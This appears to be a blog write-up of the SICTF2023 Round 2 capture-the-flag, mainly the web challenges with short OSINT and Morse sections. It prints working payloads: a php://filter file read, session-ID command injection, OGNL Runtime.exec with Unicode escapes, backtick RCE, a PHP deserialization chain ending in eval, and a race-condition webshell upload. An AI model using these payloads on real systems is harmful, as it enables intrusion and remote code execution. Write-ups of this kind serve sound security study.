SICTF2023

yansui Lv3

SICTF2023 #Round2 Web部分wp

by 0dy5sey-yansui

好像是给新人打的比赛,但是我觉得我也是新人

Web

[签到]Include

伪协议读取就行

php://filter/convert.base64-encode/resource=/flag

Baby_PHP

payload:
GET ?k e y=123%0a
POST command=session_start();system(session_id());

Cookie PHPSESSID=tac${IFS}flag.php

GET中空格会被下划线替代,参考

后面的RCE做法参考https://zhuanlan.zhihu.com/p/414283215?utm_id=0

感觉其实也可以无字母数字RCE,但是我不记得咋做了orz

利用session_id的做法之前可能也遇到过,但是也忘了,后面是ID中不能带空格所以用${IFS}替代

pain

尝试Unicode欺骗,但是找不到toLowerCase是R的任何字符

要执行的语句是
@java.lang.Runtime@getRuntime().exec(“ls”)

参考OGNL注入 可知可以使用Unicode编码bypass

1
@java.lang.\u0052untime@\u0067et\u0052untime().\u0065xec("ls")

完了直接问GPT帮写了个有回显的脚本,压缩到一行得到
回显payload:

1
(new java.io.BufferedReader(new java.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec("ls").getInputStream()))).readLine()

盲猜根目录下/flag:
payload:

1
(new java.io.BufferedReader(new java.io.InputStreamReader(@java.lang.Runtime@getRuntime().exec("cat /flag").getInputStream()))).readLine()

RCE

就ban了(和.

前者用反引号执行+echo打印结果,后者直接用*通配就行

paylaod:

1
POST code=echo `tac /f*`;

我全都要

简单的反序列化,写个链子

调用的顺序是B.__destruct()->A.__toString()->B.game()->P.__call($name, $arguments)->B.__clone()

有关其中魔术方法要注意的就是__toString()会被preg_match调用,还有__call的第一个参数是调用它的方法名字,在本题中不能是game.

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
//highlight_file(__FILE__);

class B{
public $pop;
public $i;
public $nogame;

public function __destruct()
{
if(preg_match("/233333333/",$this->pop)){
echo "这是一道签到题,不能让新生一直做不出来遭受打击";
}
}

public function game(){
echo "扣1送地狱火";
if ($this->i = "1"){
echo '<img src=\'R.jpg\'>';
$this->nogame->love();
}
}

public function __clone(){
echo "必须执行";
eval($_POST["cmd"]);
}
}


class A{
public $Aec;
public $girl;
public $boy;

public function __toString()
{
echo "I also want to fall in love";
if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
echo "<br>"."调用"."<br>";
$this->Aec->game();
}
}


}

//B->A->B->P->B

class P{
public $MyLover;
public function __call($name, $arguments)
{
echo "有对象我会在这打CTF???看我克隆一个对象!";
if ($name != "game") {
echo "打游戏去,别想着对象了";
$this->MyLover = clone new B;
}
}


}

$A = new A();
$P = new P();
$B = new B();

$B->pop = $A;
$B->nogame = $P;

$A->boy = 's878926199a';
$A->girl = 's155964671a';
$A->Aec = $B;

echo(serialize($B));

paylaod:

1
2
GET http://210.44.151.51:10194/?A_B_C=O:1:"B":3:{s:3:"pop";O:1:"A":3:{s:3:"Aec";r:1;s:4:"girl";s:11:"s155964671a";s:3:"boy";s:11:"s878926199a";}s:1:"i";N;s:6:"nogame";O:1:"P":1:{s:7:"MyLover";N;}}
POST cmd=system('cat /f*');

你能跟得上我的speed吗

看到speed就想到是不是条件竞争

文件名已知的情况下参考
文件上传之条件竞争

基本跟上面教程中的操作一模一样,开两个爆破,一个传马,一个访问

在访问包里找返回200的就有了

OSINT

购物之旅

直接地图搜 原麦山丘 BHG Mall就有了

宝塔镇河妖

小红书直接搜图片就有,注意一下背景

SICTF{山东省济宁市汶上县太子灵踪塔}

MISC

morse

苦力活了属于是

1
..-./..---/.-/-----/----./-.../..-./-....-/--.../..-./....-/.-/-....-/....-/..---/-..../----./-....-/----./...--/.-/..../-....-/-.-./---../.-/....-/---../...--/-..../-----/-.../-----/...--/-.-.

f2a09bf-7f4a-4269-93a5-c8a48360b03c

  • 标题: SICTF2023
  • 作者: yansui
  • 创建于: 2023-09-10 15:28:48
  • 更新于: 2023-09-10 16:06:47
  • 链接: http://yansui.xyz/2023/09/10/SICTF2023/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论